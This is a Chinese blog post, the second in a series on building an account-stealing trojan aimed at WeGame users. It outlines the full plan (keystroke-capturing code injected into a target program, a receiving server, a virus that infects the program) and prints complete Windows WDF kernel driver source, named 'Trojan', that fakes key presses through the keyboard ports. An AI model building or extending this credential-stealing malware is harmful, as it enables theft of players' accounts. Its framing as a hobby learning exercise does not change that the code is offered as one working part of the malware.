盗号木马之旅(二)

本文介绍了一个模拟键盘点击的驱动程序开发过程,包括编写驱动代码以模拟键盘输入,以及如何绕过Windows系统的保护机制进行调试。文中详细解释了通过直接访问键盘端口来模拟按键操作的方法。

背景:

       看完了第一篇  WeGame盗号木马之旅(一)  ,相信读者已经大概明白了我们需要干什么。下面我稍微详细的介绍一下我们接下来需要实现的部分:

        一、编写驱动级键盘模拟点击驱动。

        二、编写具体注入到目标EXE,实现按键截取的代码。

        三、编写服务端接受消息的程序。

        四、编写具体的病毒EXE,实现感染目标EXE并注入我们编写的木马代码。


 

开发环境:

        VisualStudio2015 ,驱动开发使用WDF驱动模型


目标:

       这一篇我们实现驱动的开发。完成驱动模拟键盘点击。


实现:

    驱动开发是一个蛋疼的活。最好有两台电脑方便调试,虚拟机也可以,因为很容易蓝屏重启。我使用虚拟机进行调试,我使用的驱动运行环境是WIN7 32位。因为WIN7 64 和WIN 10 都有驱动签名保护,调试起来不是很方便。另外说一句,本次驱动WIN 10系统下好像模拟失败,具体原因我没有时间找。所以WeGame的运行环境我放到了WIN 7虚拟机里面,服务器端我放到了本机。

    如果想要很好的理解本篇文章,请先参考此文章:(http://shanzy.bokee.com/834368.html)。他介绍了PS/2键盘的底层工作原理。下面我简单说明一下原理:不像直接通过WIN32 API模拟发送消息,我们直接通过访问键盘端口进行模拟。当我们在键盘上按下一个键时,会产生一个中断。然后CPU就会启动中断服务历程,相关驱动程序就会去0X60端口读取按键扫描码。然后经过一系列驱动处理把消息传给RawInputThread进程,然后他具体发送到需要的进程(细节请参考《寒江独钓:Windows内核安全编程》)。我们可以直接向0X64端口写命令给键盘相关驱动,然后再通过0X60写入具体的按键扫描码。具体的按键扫描码请参考:(https://blog.youkuaiyun.com/firas/article/details/26267573)。注意:我们发送的不是ASCII码。下面就贴一下代码,关键的点上面都说了。对于驱动老手我想这个是很简单的,但是新手的我调试了不少时间-。-//////

 

#include<ntddk.h>
#include<wdf.h>
#define TROJAN_LINKNAME L"\\DosDevices\\TROJAN_LINK" 
 
//回掉函数的申明
DRIVER_INITIALIZE DriverEntry;
EVT_WDF_DRIVER_DEVICE_ADD Trojan_EvtDeviceAdd;
EVT_WDF_IO_QUEUE_IO_DEVICE_CONTROL Trojan_EvtIoDeviceControl;
EVT_WDF_TIMER Trojan_EvtTimerFunc;
 
//存放一些全局变量
typedef struct _QUEUE_CONTEXT{
	WDFTIMER timer;//定时器
	UCHAR mark;//具体的按键扫描码
	WDFREQUEST request;//请求
	BOOLEAN isSpace;//用于判断是否输出Backspace,去掉前面模拟点击的字符
} QUEUE_CONTEXT, *PQUEUE_CONTEXT;
 
WDF_DECLARE_CONTEXT_TYPE_WITH_NAME(QUEUE_CONTEXT,GetQueueContext)
 
//驱动入口函数
NTSTATUS DriverEntry(IN PDRIVER_OBJECT driverObject, IN PUNICODE_STRING registerPath) {
	//状态信息
	NTSTATUS status = STATUS_SUCCESS;
	//驱动对象
	WDF_DRIVER_CONFIG driverConfig;
	//初始化
	WDF_DRIVER_CONFIG_INIT(&driverConfig, Trojan_EvtDeviceAdd);
	//创建驱动对象
	status = WdfDriverCreate(driverObject, registerPath, WDF_NO_OBJECT_ATTRIBUTES, &driverConfig, WDF_NO_HANDLE);
	if (!NT_SUCCESS(status)) {
		KdPrint(("Trojan:创建驱动失败!"));
		return status;
	}
	return status;
}
 
NTSTATUS Trojan_EvtDeviceAdd(IN WDFDRIVER driver, IN PWDFDEVICE_INIT deviceInit) {
	UNREFERENCED_PARAMETER(driver);
	//状态信息
	NTSTATUS status = STATUS_SUCCESS;
	//设备对象
	WDFDEVICE device;
	UNICODE_STRING linkNmae;//符号连接名字
	//队列对象
	PQUEUE_CONTEXT pQueueContext;
	WDF_IO_QUEUE_CONFIG ioQueueConfig;
	WDF_OBJECT_ATTRIBUTES queueAttributes;
	WDFQUEUE queue;
	//定时器对象
	WDF_TIMER_CONFIG timerConfig;
	WDF_OBJECT_ATTRIBUTES timerAttributes;
 
	//创建设备对象
	status = WdfDeviceCreate(&deviceInit, WDF_NO_OBJECT_ATTRIBUTES, &device);
	if (!NT_SUCCESS(status)) {
		KdPrint(("Trojan:创建设备失败!\n"));
		return status;
	}
	//创建符号连接
	RtlInitUnicodeString(&linkNmae, TROJAN_LINKNAME);
	status = WdfDeviceCreateSymbolicLink(device, &linkNmae);
	if (!NT_SUCCESS(status)) {
		KdPrint(("Trojan:创建符号连接失败!\n"));
		return status;
	}
	//创建队列对象
	WDF_IO_QUEUE_CONFIG_INIT_DEFAULT_QUEUE(&ioQueueConfig, WdfIoQueueDispatchSequential);
	WDF_OBJECT_ATTRIBUTES_INIT_CONTEXT_TYPE(&queueAttributes, QUEUE_CONTEXT);
	ioQueueConfig.EvtIoDeviceControl = Trojan_EvtIoDeviceControl;//设置DeviceControl回掉例程
	status = WdfIoQueueCreate(device, &ioQueueConfig, &queueAttributes, &queue);
	if (!NT_SUCCESS(status)) {
		KdPrint(("Trojan:创建队列失败!\n "));
		return status;
	}
	pQueueContext = GetQueueContext(queue);
	pQueueContext->mark = 0X02;//1的扫描码
	pQueueContext->isSpace = FALSE;
	//创建定时器对象
	WDF_TIMER_CONFIG_INIT_PERIODIC(&timerConfig, Trojan_EvtTimerFunc, 20);
	WDF_OBJECT_ATTRIBUTES_INIT(&timerAttributes);
	timerAttributes.ParentObject = queue;
	status = WdfTimerCreate(&timerConfig, &timerAttributes, &pQueueContext->timer);
	if (!NT_SUCCESS(status)) {
		KdPrint(("Trojan:创建定时器失败!\n"));
		return status;
	}
	WdfControlFinishInitializing(device);//设备创建完成,开始接受IRP请求
	KdPrint(("Trojan:初始化完成!\n"));
	return status;
}
 
//控制函数,Ring3程序发送命令到此函数处理
VOID Trojan_EvtIoDeviceControl(IN WDFQUEUE queue, IN WDFREQUEST request, IN size_t outBufferLength, IN size_t inputBufferLength, IN ULONG code) {
	//说明一下这些参数没有使用
	UNREFERENCED_PARAMETER(outBufferLength);
	UNREFERENCED_PARAMETER(inputBufferLength);
	UNREFERENCED_PARAMETER(code);
	PQUEUE_CONTEXT pQueueContest;
	pQueueContest = GetQueueContext(queue);
	pQueueContest->request = request;//保存这个IRP请求,便于最后告述队列请求处理完成,接受一下次请求
	WdfTimerStart(pQueueContest->timer, WDF_REL_TIMEOUT_IN_MS(100));//启动定时器
	KdPrint(("Trojan:接受到命令!\n"));
	return;
}
 
//定时器,毕竟模拟按键需要等待一些时间再按下另一个
VOID Trojan_EvtTimerFunc(IN WDFTIMER timer) {
	KdPrint(("Trojan:进入定时器!\n"));
	WDFQUEUE queue;
	PQUEUE_CONTEXT pQueueContext;
	queue = WdfTimerGetParentObject(timer);//获取队列对象
	pQueueContext = GetQueueContext(queue);//获取队列上下文空间指针
	//按键模拟实现
	if (!pQueueContext->isSpace) {//正常按键模拟
		//端口读写
		WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
		WRITE_PORT_UCHAR((PUCHAR)0X60, pQueueContext->mark);//按键按下模拟
		WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
		WRITE_PORT_UCHAR((PUCHAR)0X60, (pQueueContext->mark + 0X80));//按键抬起模拟
		pQueueContext->mark++;//变成下一个字符的扫描码
		pQueueContext->isSpace = TRUE;
	}
	else
	{//删除按键
	    //端口读写
		WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
		WRITE_PORT_UCHAR((PUCHAR)0X60, 0X0E);//按键按下模拟,Backspace
		WRITE_PORT_UCHAR((PUCHAR)0X64, 0XD2);//控制命令,说明即将发送数据
		WRITE_PORT_UCHAR((PUCHAR)0X60, 0X8E);//按键抬起模拟
		pQueueContext->isSpace = FALSE;
	}
	//输入到0就结束,1234567890
	if (pQueueContext->mark == 0X0C&&!pQueueContext->isSpace) {
		pQueueContext->mark = 0X02;//重置,便于再次开启
		WdfTimerStop(timer, FALSE);//关闭定时器
		WdfRequestComplete(pQueueContext->request, STATUS_SUCCESS);//IRP请求处理完成
		KdPrint(("Trojan:完成命令!\n"));
	}
	return;
}

本篇结语:

     可能有些读者没有接触过驱动开发,本菜也是急急忙忙看了一些书籍入个门,写个模拟键盘按键的驱动的-。-///。说实话,驱动是个大坑,慎入。。。我感觉开发Linux的驱动应该比Windows方便点。其实驱动运行在Ring0级,我们可以干很多坏(hao)事的O(∩_∩)O。。。很多杀毒软件都需要驱动运行在底层进行电脑保护。但是开发驱动不像一般的桌面程序开发,需要了解很多计算机底层的东西,而不仅仅是API的调用而已。

                        

                                                                                下一篇

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值